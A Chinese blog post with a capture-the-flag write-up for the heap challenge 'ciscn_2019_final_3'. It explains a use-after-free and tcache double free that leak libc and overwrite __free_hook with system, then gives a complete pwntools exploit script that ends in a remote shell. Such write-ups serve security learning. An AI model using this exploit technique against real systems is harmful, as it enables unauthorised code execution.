• ciscn_2019_final_3 需要避开当前free的chunk的下一个chunk不能超过arena的边界


    安全检查

    程序分析

    没什么特别的

     delete 典型的uaf漏洞

     漏洞利用

    • 利用uaf漏洞,指向一个堆的size域,然后修改为0x400以上,在delete就可以进入unsorted bin中
    • 通过uaf再malloc,就可以泄露main_arena+96的地址,这样泄露了libc地址
    • 劫持free_hook函数,进行hook,再申请一个/bin/sh字符串,即可

    from pwn import *
    
    #p=process('./ciscn_final_3')
    p=remote('node3.buuoj.cn',25453)
    libc=ELF('../libc-2.27.so')
    elf=ELF('./ciscn_final_3')
    puts_got=elf.got['puts']
    puts_plt=elf.plt['puts']
    def add(idx,size,content):
        p.recvuntil('choice > ')
        p.sendline('1')
        p.recvuntil('index')
        p.sendline(str(idx))
        p.recvuntil('size')
        p.sendline(str(size))
        p.recvuntil('something')
        p.sendline(content)
        p.recvuntil('gift :')
        return int(p.recvline()[2:],16)
    
    def delete(idx):
        p.recvuntil('choice > ')
        p.sendline('2')
        p.recvuntil('index')
        p.sendline(str(idx))
    
    heap=add(0,0x78,'a')#0
    add(1,0x18,'b')#1
    add(2,0x78,'c')#2
    add(3,0x78,'d')#3
    add(4,0x78,'c')#4
    add(5,0x78,'d')#5
    add(6,0x78,'c')#6
    add(7,0x78,'d')#7
    add(8,0x78,'c')#8
    add(9,0x78,'d')#9
    add(10,0x78,'c')#10
    add(11,0x78,'d')#11
    add(12,0x28,'pppp')
    
    delete(12)
    delete(12)
    
    add(13,0x28,p64(heap-0x10))
    add(14,0x28,p64(heap-0x10))
    add(15,0x28,p64(0)+p64(0x421))
    
    delete(0)
    delete(1)
    
    add(16,0x78,'pppp')
    add(17,0x18,'pppp')
    libc_base=add(18,0x18,'pppp')-0x3ebca0
    
    free_hook=libc_base+libc.symbols['__free_hook']
    system_addr=libc_base+libc.symbols['system']
    
    delete(3)
    delete(3)
    
    add(19,0x78,p64(free_hook))
    add(20,0x78,p64(free_hook))
    add(21,0x78,p64(system_addr))
    
    add(22,0x78,'/bin/sh')
    add(23,0x78,'/bin/sh')
    #delete(22)
    
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    闭包
    laravel 控制器
    laravel 模板
    laravel 视图
    laravel 请求
    laravel 分页
    解决启动Apache遇到的问题Permission denied: AH00072: make_sock: could not bind to address 0.0.0.0:8888
    一张号称一篇程序覆盖Python基础的代码
    [转载]激活Navicat Premium
    C语言自定义函数的形参为数组时需要注意传入长度
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14040210.html
Copyright © 2020-2023  润新知